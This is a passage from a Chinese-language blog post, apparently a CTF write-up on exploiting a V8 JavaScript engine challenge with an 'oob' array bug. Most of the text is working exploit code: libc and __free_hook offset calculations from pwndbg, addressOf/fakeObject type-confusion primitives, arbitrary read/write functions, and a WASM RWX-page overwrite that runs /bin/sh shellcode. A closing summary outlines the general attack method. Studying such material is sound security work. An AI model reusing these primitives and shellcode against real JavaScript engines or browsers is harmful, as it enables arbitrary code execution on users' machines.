pwndbg> distance 0x7f80d77a4f90 0x7f80d7781000
0x7f80d77a4f90->0x7f80d7781000 is -0x23f90 bytes (-0x47f2 words)
*/
var libc_base = libc_start_main - 0x23f90n;
console.log("[*] libc base : " + hex(libc_base));

/*
pwndbg> p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7f80d796fe48 <__free_hook>
pwndbg> distance 0x7f80d796fe48 0x7f80d7781000
0x7f80d796fe48->0x7f80d7781000 is -0x1eee48 bytes (-0x3ddc9 words)
*/
var free_hook = libc_base + 0x1eee48n;
console.log("[*] free_hook : " + hex(free_hook));

/*
pwndbg> p &system
$3 = (int (*)(const char *)) 0x7f80d77d3290 <__libc_system>
pwndbg> distance 0x7f80d77d3290 0x7f80d7781000
0x7f80d77d3290->0x7f80d7781000 is -0x52290 bytes (-0xa452 words)
*/
system = libc_base + 0x52290n;
console.log("[*] system : " + hex(system));
WAADataview(free_hook, system);

function pwnYou()
{
//let cmd = "gnome-calculator;";
let cmd = "/bin/sh";
}
pwnYou();

WAADataview(free_hook, 0x0n);
  • 利用 WASM 执行 shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray);

let ret = objArray[0];
objArray.oob(mapObjArray);
return f2i(ret);
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray);

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

function hex(x)
{
return "0x" + x.toString(16);
}

var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = RAA(addressFasm+0x18n-0x1n);
var functionData = RAA(sharedInfo+0x8n-0x1n);
var instanceAddr = RAA(functionData+0x10n-0x1n);
var memoryRWX = RAA(instanceAddr+0x88n-0x1n);
console.log("Get RWX memory : " + hex(memoryRWX));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var dataBuf = new ArrayBuffer(24);
var dataview = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n - 0x1n;
WAA(bufBackStore, memoryRWX);
dataview.setFloat64(0, i2f(shellcode[0]), true);
dataview.setFloat64(8, i2f(shellcode[1]), true);
dataview.setFloat64(16, i2f(shellcode[2]), true);

funcAsm();

小结:

巩固一下 V8 pwn 的利用手段

根据最近复现的这两个 V8 pwn 和之前遇到过的 JavaScript pwn,总结一下这种 JavaScript 引擎题目的解决思路:

  • 先分析 patch,了解大概的漏洞点
  • 然后想方设法实现 addressOf RAA WAA 这3个函数
  • 最后尝试泄露或者注入 shellcode

如果可以接触到 JS 对象的 map,那就要考虑使用类型混淆